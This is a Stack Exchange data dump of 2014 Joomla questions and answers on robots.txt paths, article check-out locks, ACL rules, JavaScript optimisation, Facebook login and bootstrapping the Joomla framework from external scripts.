  <row Id="5212" PostTypeId="2" ParentId="5207" CreationDate="2014-11-13T08:18:55.153" Score="5" Body="&lt;p&gt;Just an additional bit here. Most people will not need to do this as they don't ever touch the &lt;strong&gt;robots.txt&lt;/strong&gt; file, however if you have something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /joomla/administrator/&#xA;Disallow: /joomla/bin/&#xA;Disallow: /joomla/cache/&#xA;Disallow: /joomla/cli/&#xA;Disallow: /joomla/components/&#xA;Disallow: /joomla/includes/&#xA;Disallow: /joomla/installation/&#xA;Disallow: /joomla/language/&#xA;Disallow: /joomla/layouts/&#xA;Disallow: /joomla/libraries/&#xA;Disallow: /joomla/logs/&#xA;Disallow: /joomla/modules/&#xA;Disallow: /joomla/plugins/&#xA;Disallow: /joomla/tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you need to remove the &lt;code&gt;/joomla&lt;/code&gt; prefix at the beginning of each path.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-13T08:18:55.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5213" PostTypeId="2" ParentId="2391" CreationDate="2014-11-13T13:41:19.353" Score="0" Body="&lt;p&gt;I was searched for a solution for the same issue you had when I found your question. The solution I took was a template overwrite, which removed the edit button for me. You need to change the com_content/article/default.php file and change the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$canEdit = $params-&amp;gt;get('access-edit');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$canEdit = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A more detailed explanation can be found in the &lt;a href=&quot;http://www.admin-enclave.com/en/solutions/joomla/145-how-do-i-turn-off-front-end-editing-in-a-joomla-3-x-template.html&quot; rel=&quot;nofollow&quot;&gt;source here&lt;/a&gt;. This solved the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2014-11-13T13:41:19.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5214" PostTypeId="1" AcceptedAnswerId="5215" CreationDate="2014-11-13T14:26:00.747" Score="5" ViewCount="7274" Body="&lt;p&gt;I went to edit my site's articles and modules, where I saw some items having a padlock next to their titles.&lt;br&gt;&#xA;When I click on these items to edit them, I am getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;br&gt;&#xA;   Check-out failed with the following error: The user checking out&#xA;  does not match the user who checked out the item.&lt;br&gt;&#xA;   You are not permitted to use that link to directly access that page (#145).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why my articles are locked and how to unlock them ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-08T08:29:47.803" LastActivityDate="2015-06-08T08:29:47.803" Title="Check-out failed with the following error: The user checking out does not match the user who checked out the item" Tags="|administration|maintenance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5215" PostTypeId="2" ParentId="5214" CreationDate="2014-11-13T14:26:00.747" Score="10" Body="&lt;h2&gt;1. What does this padlock mean:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla Core Components like content (articles), categories, menu, modules, extensions, etc, contain in their database table structure a field called &quot;&lt;strong&gt;Checked-Out&lt;/strong&gt;&quot;, which can take 2 values: &quot;0&quot; for Checked-In status, or the actual user ID for Checked-Out status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When any user is editing a specific item e.g. an article, Joomla's system changes this item's &quot;Checked-Out&quot; value from 0 to the this user's ID, which means that the item is currently in &quot;Checked-Out&quot; status.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The item will revert back to its &quot;&lt;strong&gt;Checked-In&lt;/strong&gt;&quot; status (Checked_Out = 0), when the user clicks on the &quot;&lt;strong&gt;Save&lt;/strong&gt;&quot; or &quot;&lt;strong&gt;Close&lt;/strong&gt;&quot; buttons of the item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the Checked-In status, Joomla displays this &lt;strong&gt;Padlock&lt;/strong&gt; icon next to the item's title in the items list, to indicate that the item is currently being edited by a user.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, Joomla won't allow any other user to access the same item simultaneously.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is to prevent undesired results and confusion in the backend, as if more than 1 user would be able to edit the same item at the same item, only the changes of the last user that would click the &quot;Save&quot; button would take place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An interesting side note here:&lt;/strong&gt;&lt;br&gt;&#xA;A padlock may appear even when no other admin user is logged in, or even when the site has only 1 administrator.&lt;br&gt;&#xA;As said an item will enter in Checked-Out status, when being in Editing mode. The status will only revert back to Checked-In, when the user click on the Save or Close button.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These buttons are triggering the functions to update the database. If for any reason the user leave the editing mode of this item, without clicking those buttons, then the item will continue to have the value of the &lt;strong&gt;User ID&lt;/strong&gt; for the Checked_Out field in the database, which will make Joomla believe that this item is still under editing mode.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. How to unlock the item.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Usually in &lt;strong&gt;multi-user environments&lt;/strong&gt;, you will want to &lt;strong&gt;wait for the other user to complete&lt;/strong&gt; his work on this item. It's recommended to contact him and ask him about the status of his work.&lt;br&gt;&#xA;You can find &lt;strong&gt;who is the user&lt;/strong&gt; that edits the item, by hovering with your mouse over the padlock, and a &lt;strong&gt;tooltip&lt;/strong&gt; with the relevant info will appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;strong&gt;unlock the item&lt;/strong&gt;, you need to have &lt;strong&gt;backend administration access&lt;/strong&gt; and the &lt;strong&gt;required permissions&lt;/strong&gt; to access the Checked-In functionality.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;1 Item Check-In&lt;/strong&gt;&lt;br&gt;&#xA;In the back-end administration items list (e.g. articles list), you can either &lt;strong&gt;click on the padlock&lt;/strong&gt; icon to unlock that specific item.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Multiple Items Check-In of the same List&lt;/strong&gt;&lt;br&gt;&#xA;If there are more than 1 locked items that you want to unlock in the list, you can tick their &lt;strong&gt;checkbox&lt;/strong&gt; and then click the &lt;strong&gt;Check-In&lt;/strong&gt; button, on the &lt;strong&gt;toolbar&lt;/strong&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Global Database Check-In&lt;/strong&gt;&lt;br&gt;&#xA;Finally there is a Global Check-In, under &quot;System&quot; Menu, where you can Checked-In all database tables that supports the Checked-Out feature at once.&lt;br&gt;&#xA;&lt;strong&gt;Be aware&lt;/strong&gt; though, that this should be used with caution, especially in multi-users sites, to avoid any issues/confusions as described above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-13T16:12:44.283" LastActivityDate="2014-11-13T16:12:44.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5216" PostTypeId="1" AcceptedAnswerId="5217" CreationDate="2014-11-13T15:37:48.443" Score="5" ViewCount="873" Body="&lt;p&gt;Our component has a custom usergroup that is created at installation with &lt;code&gt;UsersModelGroup&lt;/code&gt;.  We need to &lt;em&gt;add&lt;/em&gt; specific permissions to &lt;code&gt;com_content&lt;/code&gt; for that usergroup without effecting whatever permissions may already exist for the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with creating a full set of rules for an article or category when creating the content, and for this task, could read the asset record, then use array manipulation to add my rule, but that seems a little brute-force.  &lt;em&gt;Is there a better way to do this?&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current com_content ACL Rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;core.admin&quot;:{&quot;7&quot;:1},&#xA;&quot;core.manage&quot;:{&quot;6&quot;:1},&#xA;&quot;core.create&quot;:{&quot;3&quot;:1},&#xA;&quot;core.delete&quot;:[],&#xA;&quot;core.edit&quot;:{&quot;4&quot;:1},&#xA;&quot;core.edit.state&quot;:{&quot;5&quot;:1},&#xA;&quot;core.edit.own&quot;:[]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &quot;123&quot; as my custom user group, I need this set of rules to be in place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;core.admin&quot;:{&quot;7&quot;:1},&#xA;&quot;core.manage&quot;:{&quot;6&quot;:1},&#xA;&quot;core.create&quot;:{&quot;3&quot;:1},&#xA;&quot;core.delete&quot;:[&quot;123&quot;:0],&#xA;&quot;core.edit&quot;:{&quot;4&quot;:1,&quot;123&quot;:1},&#xA;&quot;core.edit.state&quot;:{&quot;5&quot;:1},&#xA;&quot;core.edit.own&quot;:[]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-03T19:57:22.177" LastActivityDate="2014-12-03T20:10:42.297" Title="How can I use PHP to add ACL Rules of a custom Usergroup to a core Component?" Tags="|development|acl|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5217" PostTypeId="2" ParentId="5216" CreationDate="2014-11-13T17:20:15.557" Score="5" Body="&lt;p&gt;Pending a more elegant solution, here's my somewhat neanderthal approach that works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the Asset record for com_content &#xA;// I'm not assuming that the row id will be the same in every Joomla installation&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('id, rules')-&amp;gt;from($db-&amp;gt;quoteName('#__assets'))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('name') .'='.$db-&amp;gt;quote('com_content'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$asset = $db-&amp;gt;loadObject();&#xA;&#xA;$rules = new JRegistry();           // Create a new Joomla Registry&#xA;$rules-&amp;gt;loadString($asset-&amp;gt;rules);  // Load the Current ACL rules into the Registry&#xA;$rule_array = $rules-&amp;gt;toArray();    // Convert to Array for easy manipulation&#xA;&#xA;// Set the ACL rules for Custom Usergroup 123&#xA;$rule_array['core.delete'][123] = 0;    // My custom usergroup cannot delete Content&#xA;$rule_array['core.edit'][123] = 1;      // My custom usergroup can edit Content&#xA;&#xA;// Re-load the Rules registry with the modified rules array for saving&#xA;$rules-&amp;gt;loadArray($rule_array);         &#xA;JTable::addIncludePath(JPATH_ADMINISTRATOR.'/libraries/joomla/table');&#xA;$row = JTable::getInstance('Asset');&#xA;$row-&amp;gt;load($asset-&amp;gt;id);&#xA;$row-&amp;gt;rules = $rules-&amp;gt;__toString(); // Save as string&#xA;$row-&amp;gt;store();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-13T17:20:15.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5218" PostTypeId="1" AcceptedAnswerId="5474" CreationDate="2014-11-13T19:02:14.690" Score="3" ViewCount="270" Body="&lt;p&gt;I am new to joomla, so I try to develop a multilingual site.&#xA;Everything seems to work fine except that I messed something and in my English home page the navigation menu is in a drop down menu while in the Greek one the links are side by side.&#xA;Where do I have to dig in in order to restore one way or an other for both of my home pages?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2195" LastActivityDate="2014-12-01T13:21:45.953" Title="How to change main menu appearance?" Tags="|menu|multilingual|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5219" PostTypeId="2" ParentId="5210" CreationDate="2014-11-13T19:45:59.190" Score="4" Body="&lt;p&gt;You're definitely not missing something. If you find that you're doing this regularly, you can create a system plugin to extend the existing JRequest class and add a new filter type to that.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-11-13T19:45:59.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5220" PostTypeId="1" AcceptedAnswerId="5223" CreationDate="2014-11-13T19:59:52.020" Score="8" ViewCount="1504" Body="&lt;p&gt;My website for an enterprise client has approximately 90 assets that download on load, 35 or so are JS files.  Even &quot;optimizing&quot; extensions that are made for Joomla only seem to get me down to 31 or so JS files and compress only the combined css/js and not the ones that seem to run rogue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few of the optimizing free plugins, and I'm reluctant to spend money on the paid ones if they're going to do very little for my load times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template is a Rockettheme base with a lot of customization, so it has Gantry js, bootstrap js, a couple extensions like my video player use a js file, etc, and they seem to be spread out to a couple per extension instead of just one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What works and what doesn't for improving this part of front end load?&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="126" LastEditDate="2015-06-05T11:23:53.260" LastActivityDate="2015-12-12T03:58:35.587" Title="Optimizing frontend load, how do I properly combine and compress my JS?" Tags="|javascript|performance|front-end|gantry|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5221" PostTypeId="2" ParentId="5018" CreationDate="2014-11-13T20:00:16.443" Score="4" Body="&lt;p&gt;Having used RSForms Pro and Chronoforms, I'd highly recommend Fabrik. Both RSForms Pro and Chronoforms are not really built to be extended, and so will be lacking in comparison to Webform's capability. RSForms Pro will definitely provide much of the our of the box functionality that Webform does, but if you'll be stuck if you want to go beyond that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fabrik will let you build the tool you want from the start, and would be straightforward to integrate with CiviCRM.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-11-13T20:00:16.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5222" PostTypeId="2" ParentId="5220" CreationDate="2014-11-13T20:30:54.553" Score="5" Body="&lt;p&gt;There is no simple solution for 30+ JS files.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Since you are onboard with Rockettheme, you can implement &lt;strong&gt;RokBooster&lt;/strong&gt; &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/rokbooster&quot;&gt;http://www.rockettheme.com/joomla/extensions/rokbooster&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can implement CloudFlare, or any other CDN. Ref: &lt;a href=&quot;http://en.wikipedia.org/wiki/Content_delivery_network&quot;&gt;http://en.wikipedia.org/wiki/Content_delivery_network&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-13T20:30:54.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5223" PostTypeId="2" ParentId="5220" CreationDate="2014-11-13T21:01:12.460" Score="9" Body="&lt;p&gt;It won't be easy to deal with all these files. Combining, minifying and compressing all these together will most probably bring issues. It will take much effort and a combination of techniques to reach a satisfactory optimization level.&#xA;&lt;br /&gt;&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;My overall Approach to achieve a fast loading site.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A fast website is essential. The speed optimization of a website, although it usually takes places at the end of the development, it is something that should be considered from the beginning. It starts with the proper template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also installing each and every extension, and using any kind of fancy modules, it probably result to a heavy website, that will be very hard to make it lighter later on.&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Be eclectic - stay minimal&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Personally, when it comes to speed optimization, I try to be very eclectic on what extensions I use. I &lt;strong&gt;research&lt;/strong&gt; and &lt;strong&gt;experiment&lt;/strong&gt; for the most efficient and quality ones for each task, and always try to avoid to use any extensions, if there are things that can be achieved manually within the core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I have to decide on using a fancy front-end feature not really important, that causes me troubles in speed optimizing the website, I usually will throw it away, or find another way to implement the fancy feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also try to avoid to use commercial templates, since they usually come with many extra features to satisfy many different tastes. I prefer to build the template and include only what I need.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Your Manual Work&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would suggest to &lt;strong&gt;review&lt;/strong&gt; all the extensions you have to see how they load their assets files, and if it's possible to &lt;strong&gt;avoid load them in pages&lt;/strong&gt; where you don't need them, e.g. you could create template overrides where possible to control on your own the loading of the assets files.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find that there are &lt;strong&gt;extensions that you don't need&lt;/strong&gt;, but are still loaded, or you don't have the &lt;strong&gt;optimum settings&lt;/strong&gt; on how they should work.&lt;br&gt;&#xA;E.g. &lt;strong&gt;JCE Mediabox&lt;/strong&gt; provides option to be loaded only in specific menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see if it's possible to merge files in one. E.g. don't let any module to load it's css, try to merge it with the template's css file.&#xA;&lt;br /&gt;&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Optimization Tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS/JAVASCRIPT COMPRESSION &amp;amp; CONTROL&lt;/strong&gt;&lt;br&gt;&#xA;As for optimization tools/plugins, I am pretty happy with the &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/site-performance/12088&quot;&gt;&lt;strong&gt;JCH Optimize&lt;/strong&gt;&lt;/a&gt; plugin. It's free, but also has a commercial version with support for a few bucks. With the proper tweaking, it can produce great results and the developer is quite helpful if you need support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tool that might be proved useful, is the &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/jquery-scripts/18327&quot;&gt;&lt;strong&gt;JQuery Easy plugin&lt;/strong&gt;&lt;/a&gt;. It can help to better organize and control the loading of various javascript files, in the case they conflict with each other and make the optimization with JCH_Optimize Plugin easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CACHE&lt;/strong&gt;&lt;br&gt;&#xA;I also use &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/cache/13155&quot;&gt;&lt;strong&gt;Jot Cache&lt;/strong&gt;&lt;/a&gt;, to have better control over the Cache, since many extensions have issues with the core cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CDN&lt;/strong&gt;&lt;br&gt;&#xA;Using &lt;strong&gt;CDN&lt;/strong&gt; to deliver static content is the next tool - I use &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/content-networking/14438&quot;&gt;&lt;strong&gt;NoNumber CDN for Joomla&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTACCESS&lt;/strong&gt;&lt;br&gt;&#xA;Finally, big benefits you will gain by using an &lt;strong&gt;htaccess&lt;/strong&gt; to &lt;strong&gt;compress&lt;/strong&gt; and add &lt;strong&gt;Expire headers&lt;/strong&gt; to the files.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-13T21:57:02.300" LastActivityDate="2014-11-13T21:57:02.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5224" PostTypeId="2" ParentId="5207" CreationDate="2014-11-13T21:35:40.357" Score="5" Body="&lt;p&gt;If you have shell access to your host, it also makes sense to store the Joomla install outside of the webroot and symlink it in. This way, you can source control the installation or easily switch between multiple staging/production versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this with subdomains also makes the testing process for new versions much easier.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-11-13T21:35:40.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5225" PostTypeId="1" AcceptedAnswerId="5243" CreationDate="2014-11-14T04:33:16.317" Score="1" ViewCount="585" Body="&lt;p&gt;I'm developing a facebook login (FB SDK Javascript) for a Joomla site to add an alternative way to register/login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create FB app&lt;/li&gt;&#xA;&lt;li&gt;Insert relevant code to my site&lt;/li&gt;&#xA;&lt;li&gt;Get connected stat from FB.login().&lt;/li&gt;&#xA;&lt;li&gt;Got basic information: name, email...etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I found the following function that I use to login to Joomla, but this way require me to provide username &amp;amp; password.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = JFactory::getApplication()-&amp;gt;login(array('username' =&amp;gt; $username, 'password' =&amp;gt; $password), array('remember' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;br&gt;&#xA;After I get the permission from FB, I wish to login to Joomla without enter email and password, so which module/helper/function should I use ?&lt;/p&gt;&#xA;" OwnerUserId="2198" LastEditorUserId="1629" LastEditDate="2014-11-14T15:49:21.310" LastActivityDate="2014-11-15T04:43:58.340" Title="Facebook Login - Tell joomla to login" Tags="|login|authentication|facebook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5226" PostTypeId="2" ParentId="4957" CreationDate="2014-11-14T07:28:32.687" Score="0" Body="&lt;p&gt;Try this:&#xA;Make a fresh clean install of Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrade the J25 site to J3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open PHPmyAdmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start copying db tables from the upgraded J3 to the fresh J3, in steps and by groups, but keep backups of the original J3 fresh tables, so you can easily restore them if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy Assets, Extensions, and all Users related, one by one.&#xA;Every time you copy a table, keep checking if you are able to login.&#xA;Keep going, till you copy all tables, in order to see if this is caused by anything in your database.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-14T07:28:32.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5227" PostTypeId="1" AcceptedAnswerId="5231" CreationDate="2014-11-14T08:36:33.233" Score="2" ViewCount="1787" Body="&lt;p&gt;I'm trying to add additional fields in the Joomla 3.x and 2.5 article manager as explained here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kavdesign.net/blog/coding/how-to-add-additional-field-in-the-joomla-article-administrator-page/&quot; rel=&quot;nofollow&quot;&gt;http://www.kavdesign.net/blog/coding/how-to-add-additional-field-in-the-joomla-article-administrator-page/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the location of the following items in Joomla 2.5 and 3.x files needed to edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jos_content table in joomla database&#xA;root/components/com_content/views/article/tmpl/default.php&#xA;root/components/com_content/views/article/tmpl/form.php&#xA;root/administrator/components/com_content/models/article.xml&#xA;root/administrator/components/admin.content.html.php&#xA;root/administrator/components/config.xml&#xA;root/libraries/joomla/database/table/content.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2160" LastEditorUserId="126" LastEditDate="2015-10-27T10:16:07.313" LastActivityDate="2015-10-27T10:16:07.313" Title="How to add additional field in joomla 3 and 2.5?" Tags="|joomla-3.x|joomla-2.5|article-manager|form-fields-types|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5228" PostTypeId="1" AcceptedAnswerId="5230" CreationDate="2014-11-14T09:20:00.713" Score="3" ViewCount="2656" Body="&lt;p&gt;How can I get the current selected language using the Function &lt;code&gt;JFactory::getLanguage();&lt;/code&gt; from another directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do it when I am there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/web/include&lt;/li&gt;&#xA;&lt;li&gt;/web                      &amp;lt;---- [can call it from here] (&lt;a href=&quot;https://joomla.stackexchange.com/questions/5036/function-getlanguage-does-not-return-current-language&quot;&gt;solved here&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but I need to call it from...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/web/scripts/myScripts/myScript.php          &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tried to import Joomla Framework:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set flag that this is a parent file.&#xA;define('_JEXEC', 1);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;if (file_exists(dirname(__FILE__) . '/../../defines.php')) {&#xA;    include_once dirname(__FILE__) . '/../../defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__FILE__));&#xA;    require_once JPATH_BASE.'/../../includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE.'/../../includes/framework.php';&#xA;&#xA;// Instantiate the application.&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;// Initialise the application.&#xA;$app-&amp;gt;initialise();&#xA;&#xA;$lang =&amp;amp; JFactory::getLanguage()-&amp;gt;getTag();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2125" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-11-14T10:20:05.633" Title="How to use JFactory::getLanguage() from another directory?" Tags="|joomla-2.5|php|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5229" PostTypeId="1" CreationDate="2014-11-14T09:53:58.680" Score="2" ViewCount="760" Body="&lt;p&gt;I'm using JImage to resize uploaded images but when I try to resize transparent png, the resulting image isn't copied to the directory. I'm not able to understand what the issue is. The toFile() method doesn't copy the transparent png in directory, it works well with jpg and png with no transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that i'am using is the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = new JImage($originalFile);&#xA;$properties = JImage::getImageFileProperties($originalFile);&#xA;$resizedImage = $image-&amp;gt;resize('200', '200', true);&#xA;&#xA;$mime = $properties-&amp;gt;mime;&#xA;&#xA;if ($mime == 'image/jpeg')&#xA;{&#xA;    $type = IMAGETYPE_JPEG;&#xA;}&#xA;elseif ($mime = 'image/png')&#xA;{&#xA;    $type = IMAGETYPE_PNG;&#xA;}&#xA;elseif ($mime = 'image/gif')&#xA;{&#xA;    $type = IMAGETYPE_GIF;&#xA;}&#xA;&#xA;$resizedImage-&amp;gt;toFile($finalFile, $type);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to make it work with transparent png?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1629" LastEditDate="2014-11-14T14:41:57.543" LastActivityDate="2015-01-28T11:39:12.973" Title="Resizing png transparent with JImage, final file not copied" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5230" PostTypeId="2" ParentId="5228" CreationDate="2014-11-14T10:20:05.633" Score="0" Body="&lt;p&gt;The definition for &lt;code&gt;JPATH_BASE&lt;/code&gt; is still missing from your code. &#xA;To import the Joomla API, you can simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/..' ));&#xA;&#xA;require_once ( JPATH_BASE . '/includes/defines.php' );&#xA;require_once ( JPATH_BASE . '/includes/framework.php' );&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to get the language tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$tag  = $lang-&amp;gt;getTag();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to make sure &lt;code&gt;JPATH_BASE&lt;/code&gt; has been defined correctly. I'm not sure where your external PHP file is located in relation to your Joomla installation, but you will need to change line 2 of the API importing code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-14T10:20:05.633" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
